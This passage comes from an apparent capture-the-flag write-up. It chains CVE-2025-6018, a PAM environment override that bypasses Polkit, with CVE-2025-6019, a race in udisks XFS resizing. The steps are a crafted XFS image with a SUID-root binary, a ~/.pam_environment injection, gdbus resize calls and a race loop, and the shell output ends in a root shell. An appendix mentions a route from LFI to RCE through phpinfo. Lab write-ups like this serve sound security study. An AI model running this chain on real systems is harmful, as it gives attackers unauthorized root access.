mkfs.xfsUsage reference: https://linux.die.net/man/8/mkfs.xfs
XFS will be happy with it:
$ dd if=/dev/zero of=xpl.img bs=1M count=300 300+0 records in 300+0 records out 314572800 bytes (315 MB, 300 MiB) copied, 0.103272 s, 3.0 GB/s $ mkfs.xfs -f \ -m crc=0 \ -n ftype=0 \ xpl.img V4 filesystems are deprecated and will not be supported by future versions. meta-data=xpl.img isize=256 agcount=4, agsize=19200 blks = sectsz=512 attr=2, projid32bit=1 = crc=0 finobt=0, sparse=0, rmapbt=0 = reflink=0 bigtime=0 inobtcount=0 nrext64=0 = exchange=0 metadir=0 data = bsize=4096 blocks=76800, imaxpct=25 = sunit=0 swidth=0 blks naming =version 2 bsize=4096 ascii-ci=0, ftype=0, parent=0 log =internal log bsize=4096 blocks=16384, version=2 = sectsz=512 sunit=0 blks, lazy-count=1 realtime =none extsz=4096 blocks=0, rtextents=0 = rgcount=0 rgsize=0 extents = zoned=0 start=0 reserved=0
Later in the file transfer stage, we can run xz -9 to extremly compress the full image into a small file (~50KB).
4.4.1.3 Plant Filesystem
Next we plant the malicous binary to the generated XFS filesystem.
# mount as loop ddevice type
mkdir -p /tmp/mnt
sudo mount -o loop xpl.img /tmp/mnt
sudo cp xpl /tmp/mnt/
# root-owned + suid set
sudo chown root:root /tmp/mnt/*
sudo chmod 4755 /tmp/mnt/*
# cleanup
sudo umount /tmp/mnt
rmdir /tmp/mntAt this stage:
- We mount our crafted image.
- We copy the malicous binary inside the filesystem image itself.
- We change the binary as root-owned and suid set.
Privesc XFS image created.
4.4.1.4 Safe Local Testing
For learning and validation, we first inspect the crafted XFS image locally.
After attaching and mounting the image with udisksctl, the planted payload inside the filesystem is clearly marked as SUID-root:
$ udisksctl loop-setup -f xpl.img Mapped file xpl.img as /dev/loop0. $ udisksctl mount -b /dev/loop0 Mounted /dev/loop0 at /run/media/Axura/6d35fc0b-cdcf-4664-b9b5-edc8544a61bd $ ls -l /run/media/Axura/* total 16 -rwsr-xr-x 1 root root 15848 Feb 8 07:20 xpl
At first glance this looks promising — the s bit is clearly present.
However, executing the binary does not yield root:
$ /run/media/Axura/6d35fc0b-cdcf-4664-b9b5-edc8544a61bd/xpl [+] Pwn library loaded! sh-5.2$ id uid=1000(Axura) gid=1000(Axura) groups=1000(Axura),150(wireshark),998(wheel) sh-5.2$
We only obtain a regular user shell, not UID 0. This is the expected and secure behavior.
When udisks2 mounts user-provided images, it deliberately applies restrictive mount flags — most importantly:
nosuid,nodevEven though the SUID bit is visible in the directory listing, the kernel ignores it under nosuid, so our payload cannot elevate privileges — which is exactly how this should behave.
However, according to CVE-2025-6019 (NVD - cve-2025-6019):
A local attacker can create a specially crafted XFS image containing a SUID-root shell, then trick udisks into resizing it.
During that resize path, the filesystem can be mounted without nosuid, which makes the SUID shell suddenly effective.
The key insight is:
Normal mount -> nosuid -> safe
Resize path -> missing nosuid -> SUID becomes ACTIVESo the exploit is not about the initial mount — it is about how libblockdev and udisks handle XFS resizing.
Clean up before moving on:
sudo umount /run/media/Axura/*
udisksctl loop-delete -b /dev/loop04.4.1.5 Upload XFS Image
We now move the crafted image to the target and continue the exploit chain.
First compress it to keep transfer small:
# compress image to ~50KB
xz -9 xpl.img
# upload
scp xpl.img.xz [email protected]:/tmpOn the victim, decompress it:
cd /tmp
xz -d xpl.img.xzVerify the result:
phileasfogg3@pterodactyl:~$ cd /tmp phileasfogg3@pterodactyl:/tmp$ xz -d xpl.img.xz phileasfogg3@pterodactyl:/tmp$ ls -l xpl.img -rw-r--r-- 1 phileasfogg3 users 335544320 Feb 8 17:39 xpl.img phileasfogg3@pterodactyl:/tmp$ ls -lh xpl.img -rw-r--r-- 1 phileasfogg3 users 320M Feb 8 17:39 xpl.img phileasfogg3@pterodactyl:/tmp$ file xpl.img xpl.img: SGI XFS filesystem data (blksz 4096, inosz 512, v2 dirs)
At this point, the malicious XFS image is fully staged on the target.
CVE-2025-6019 — part one — is complete.
4.4.2 CVE-2025-6018
4.4.2.1 Polkit Bypass with PAM
Before abusing udisks, we need to understand the role of Polkit in this vulnerability.
Polkit is the authorization layer of modern Linux. It answers questions like:
"Is this user allowed to perform a privileged action right now?"
For our purposes, Polkit mainly distinguishes two privilege tiers:
| Tier | Meaning |
|---|---|
| allow_active | "You are physically at the machine right now — we trust you more." |
| auth_admin | "Stop. Enter the root password." |
Our goal is conceptually:
untrusted SSH shell -> trusted console user (in Polkit's eyes)CVE-2025-6018 is precisely about how an SSH user can be misclassified as an 'active' local user, who pretends to sit physically in front of the machine via seat0 descriptor.
Description from CVE-2025-6018 (NVD - cve-2025-6018):
A Local Privilege Escalation (LPE) vulnerability has been discovered in pam-config within Linux Pluggable Authentication Modules (PAM). This flaw allows an unprivileged local attacker (for example, a user logged in via SSH) to obtain the elevated privileges normally reserved for a physically present, "allow_active" user. The highest risk is that the attacker can then perform all allow_active yes Polkit actions, which are typically restricted to console users, potentially gaining unauthorized control over system configurations, services, or other sensitive operations.
Before exploitation, two session metadata variables matter:
| Variable | What it claims |
|---|---|
XDG_SEAT=seat0 | "I belong to the primary physical seat." |
XDG_VTNR=1 | "I am on virtual terminal tty1." |
These variables are descriptive, not authoritative — simply exporting them in a shell does not create or elevate a real systemd session.
Real sessions are created and tracked by systemd-logind.
Before exploitation, our actual session looks like this:
phileasfogg3@pterodactyl:~$ loginctl list-sessions SESSION UID USER SEAT TTY STATE IDLE SINCE 349 1002 phileasfogg3 pts/0 active no 1 sessions listed. phileasfogg3@pterodactyl:~$ loginctl show-session 349 -p Active Active=yes phileasfogg3@pterodactyl:~$ udisksctl loop-setup -f /tmp/xpl.img ==== AUTHENTICATING FOR org.freedesktop.udisks2.loop-setup ==== Authentication is required to set up a loop device Authenticating as: root Password:
This shows two important things:
- Our SSH session is already marked Active=yes
- Yet udisks still demands a password for loop setup
So:
Active=yesis necessary but not sufficient for all Polkit actions.
CVE-2025-6018 abuses a broken PAM configuration that can mislabel our session from the moment it is created, making Polkit treat us like a local console user.
We seed this behavior by writing session hints into ~/.pam_environment:
cat <<EOF> ~/.pam_environment
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
XDG_SESSION_TYPE OVERRIDE=x11
XDG_SESSION_CLASS OVERRIDE=user
XDG_RUNTIME_DIR OVERRIDE=/tmp/runtime
SYSTEMD_LOG_LEVEL OVERRIDE=debug
EOFThis influences the chain as follows:
SSH login
↓
PAM starts a session
↓
pam_env reads ~/.pam_environment
↓
systemd-logind creates session
↓
Polkit consults session metadataThe trick is injecting these variables before systemd creates the session.
After writing this file, log out and log back in.
Now check the environment and session again:
phileasfogg3@pterodactyl:~$ env | grep XDG XDG_VTNR=1 XDG_SESSION_ID=143 XDG_SESSION_TYPE=x11 XDG_DATA_DIRS=/usr/share XDG_SESSION_CLASS=user XDG_SEAT=seat0 XDG_RUNTIME_DIR=/tmp/runtime XDG_CONFIG_DIRS=/etc/xdg phileasfogg3@pterodactyl:~$ loginctl list-sessions Bus n/a: changing state UNSET → OPENING sd-bus: starting bus by connecting to /run/dbus/system_bus_socket... Bus n/a: changing state OPENING → AUTHENTICATING Successfully forked off '(pager)' as PID 14473. Skipping PR_SET_MM, as we don't have privileges. Found cgroup2 on /sys/fs/cgroup/, full unified hierarchy Failed to execute 'pager', will try 'less' next: No such file or directory Pager executable is "less", options "FRSXMK", quit_on_interrupt: yes Bus n/a: changing state AUTHENTICATING → HELLO Sent message type=method_call sender=n/a destination=org.freedesktop.DBus path=/org/freedesktop/DBus interface=org.freedesktop.DBus member=Hello cookie=1 reply_cookie=0 signature=n/a erro> Got message type=method_return sender=org.freedesktop.DBus destination=:1.601 path=n/a interface=n/a member=n/a cookie=1 reply_cookie=1 signature=s error-name=n/a error-message=n/a Bus n/a: changing state HELLO → RUNNING Sent message type=method_call sender=n/a destination=org.freedesktop.login1 path=/org/freedesktop/login1 interface=org.freedesktop.login1.Manager member=ListSessions cookie=2 reply_cookie> Got message type=method_return sender=:1.1 destination=:1.601 path=n/a interface=n/a member=n/a cookie=7592 reply_cookie=2 signature=a(susso) error-name=n/a error-message=n/a Sent message type=method_call sender=n/a destination=org.freedesktop.login1 path=/org/freedesktop/login1/session/_3143 interface=org.freedesktop.DBus.Properties member=GetAll cookie=3 rep> Got message type=method_return sender=:1.1 destination=:1.601 path=n/a interface=n/a member=n/a cookie=7593 reply_cookie=3 signature=a{sv} error-name=n/a error-message=n/a SESSION UID USER SEAT TTY STATE IDLE SINCE 143 1002 phileasfogg3 seat0 pts/0 active no Bus n/a: changing state RUNNING → CLOSED 1 sessions listed. phileasfogg3@pterodactyl:~$ loginctl show-session 143 -p Active Bus n/a: changing state UNSET → OPENING sd-bus: starting bus by connecting to /run/dbus/system_bus_socket... Bus n/a: changing state OPENING → AUTHENTICATING Successfully forked off '(pager)' as PID 14475. Skipping PR_SET_MM, as we don't have privileges. Found cgroup2 on /sys/fs/cgroup/, full unified hierarchy Failed to execute 'pager', will try 'less' next: No such file or directory Pager executable is "less", options "FRSXMK", quit_on_interrupt: yes Bus n/a: changing state AUTHENTICATING → HELLO Sent message type=method_call sender=n/a destination=org.freedesktop.DBus path=/org/freedesktop/DBus interface=org.freedesktop.DBus member=Hello cookie=1 reply_cookie=0 signature=n/a erro> Got message type=method_return sender=org.freedesktop.DBus destination=:1.602 path=n/a interface=n/a member=n/a cookie=1 reply_cookie=1 signature=s error-name=n/a error-message=n/a Bus n/a: changing state HELLO → RUNNING Sent message type=method_call sender=n/a destination=org.freedesktop.login1 path=/org/freedesktop/login1 interface=org.freedesktop.login1.Manager member=GetSession cookie=2 reply_cookie=0> Got message type=method_return sender=:1.1 destination=:1.602 path=n/a interface=n/a member=n/a cookie=7594 reply_cookie=2 signature=o error-name=n/a error-message=n/a Sent message type=method_call sender=n/a destination=org.freedesktop.login1 path=/org/freedesktop/login1/session/_3143 interface=org.freedesktop.DBus.Properties member=GetAll cookie=3 rep> Got message type=method_return sender=:1.1 destination=:1.602 path=n/a interface=n/a member=n/a cookie=7595 reply_cookie=3 signature=a{sv} error-name=n/a error-message=n/a Bus n/a: changing state RUNNING → CLOSED Active=yes
Now our SSH session is explicitly labeled seat0 + Active=yes, meaning systemd accepted our hints.
Test Polkit's view of us:
phileasfogg3@pterodactyl:/tmp$ gdbus call --system --dest org.freedesktop.login1 \
> --object-path /org/freedesktop/login1 \
> --method org.freedesktop.login1.Manager.CanReboot
('yes',)
A normal SSH user would not get this result – 'yes', while it could return 'challenge' or 'no' otherwise. Polkit now treats us like an "active console user."
Auth bypass done by CVE-2025-6018.
4.4.2.2 Setup Loop Device
With Polkit bypassed, we can now set up our malicious loop device without a password prompt, using the uploaded XFS image:
# Optional, stop volume monitor to reduce noise
killall -KILL gvfs-udisks2-volume-monitor 2>/dev/null
# Setup loop device via udisks2
udisksctl loop-setup --file /tmp/xpl.img --no-user-interactionBefore CVE-2025-6018, this would have failed with:
org.freedesktop.UDisks2.Error.NotAuthorizedCanObtain: Not authorized to perform operationNow it succeeds:
phileasfogg3@pterodactyl:~$ udisksctl loop-setup --file /tmp/xpl.img --no-user-interaction
Mapped file /tmp/xpl.img as /dev/loop0.
Verify the device:
phileasfogg3@pterodactyl:~$ udisksctl info -b /dev/loop0 | egrep -i 'IdType|IdUsage|IdVersion|Size|Loop|BackingFile|HintSystem|HintIgnore' /org/freedesktop/UDisks2/block_devices/loop0: Device: /dev/loop0 HintIgnore: false HintSystem: true IdType: xfs IdUsage: filesystem IdVersion: PreferredDevice: /dev/loop0 Size: 335544320 Size: 0 org.freedesktop.UDisks2.Loop: BackingFile: /tmp/xpl.img phileasfogg3@pterodactyl:~$ grep -i xfs /proc/filesystems xfs phileasfogg3@pterodactyl:~$ /usr/sbin/losetup -j /tmp/xpl.img /dev/loop0: []: (/tmp/xpl.img)
So now:
/dev/loop0is a real block device- It is backed by our malicious XFS image
- The kernel supports XFS
- udisks fully recognizes it
This sets the stage for the second half of CVE-2025-6019.
4.4.3 CVE-2025-6019 [2]
As discussed in 4.4.1.3, even though we can now successfully set up the loop device, a normal mount path still applies nosuid, which means:
- Our
xplbinary inside the image still would not give root, and - The exploit still would not trigger.
The vulnerability lives only in the resize path, not in normal mounting.
4.4.3.1 XFS Resize Exploit
Here is where CVE-2025-6019 becomes critical again.
The flaw lies in the resize path: when udisks calls libblockdev to resize an XFS filesystem, libblockdev temporarily mounts the filesystem in
/tmpwithoutnosuid,nodevsafeguards.
During this brief window, a crafted image containing a SUID payload suddenly becomes effective.
loop-setup -> resize -> transient mount during resize -> race -> SUID worksWhen we invoke the vulnerable method in udisks:
org.freedesktop.UDisks2.Filesystem.Resizea temporary directory like /tmp/blockdev.XXXX is created.
Triggering resize on our loop device (loop0):
gdbus call --system \
--dest org.freedesktop.UDisks2 \
--object-path /org/freedesktop/UDisks2/block_devices/loop0 \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 "{}"This briefly mounts the filesystem in a private folder:
phileasfogg3@pterodactyl:~$ ls -lah /tmp/blockdev* ls: cannot open directory '/tmp/blockdev.NTO9J3': Permission denied phileasfogg3@pterodactyl:~$ ls -ld /tmp/blockdev* drwx------ 1 root root 0 Feb 9 04:17 /tmp/blockdev.NTO9J3
A transient copy of xpl exists inside this directory, but the 700 permissions prevent us from directly accessing it.
4.4.3.2 TOCTOU
CVE-2025-6019 is fundamentally a race condition during resizing.
libblockdev performs operations to "resize" the filesystem, and udiskd unmounts it again. During that temporary mount, the filesystem is NOT mounted with nosuid for a very short window, which is the entire vulnerability.
The race looks like this:
Resize starts
-> udisks mounts XFS in /tmp/blockdev.XXXX
-> SUID is suddenly honored
-> attacker runs /tmp/blockdev.XXXX/xpl, quickly
-> boom: rootTo win the race, we continuously watch for the transient directory in a second shell:
while true; do
for d in /tmp/blockdev.*; do
"$d/xpl" 2>/dev/null && break 2
done
doneThen we trigger resize again in another terminal:
gdbus call --system \
--dest org.freedesktop.UDisks2 \
--object-path /org/freedesktop/UDisks2/block_devices/loop0 \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 "{}"When the window appears, our payload executes:
$ ssh [email protected] ([email protected]) Password: Have a lot of fun... Last login: Mon Feb 9 07:54:30 2026 from 10.10.14.22 Last login: Mon Feb 9 07:59:00 2026 from 10.10.14.22 phileasfogg3@pterodactyl:~$ while true; do > for d in /tmp/blockdev.*; do > "$d/xpl" 2>/dev/null && break 2 > done > done [+] Pwn library loaded! id uid=0(root) gid=0(root) groups=0(root),100(users) cat /root/root.txt d*****************************7
Rooted.
5 APPENDIX
5.1 TOCTOU Examination
After gaining root, we can inspect the transient blockdev directories:
pterodactyl:/tmp # ls -l /tmp/blockdev* /tmp/blockdev.NEG6J3: total 0 /tmp/blockdev.R72AK3: total 0 pterodactyl:/tmp # echo $$ 13182 pterodactyl:/tmp # ps -p 13180 -o pid,ppid,uid,euid,cmd PID PPID UID EUID CMD 13180 13138 0 0 script -c bash pterodactyl:/tmp # exit exit Script done. echo $$ 13138 ps -p 13138 -o pid,ppid,uid,euid,cmd PID PPID UID EUID CMD 13138 14594 0 0 sh ps -ef | grep xpl root 13551 13138 0 09:01 pts/1 00:00:00 grep xpl readlink /proc/13138/exe /usr/bin/bash
The binary is gone from disk — but it lived long enough in memory to spawn our root shell.
5.2 LFI to RCE via PHPInfo
From phpinfo page, we see:

This opens a second path from LFI to RCE by uploading web shell, also a write primitive.
Reference: LFI2RCE via phpinfo() - HackTricks
Comments | NOTHING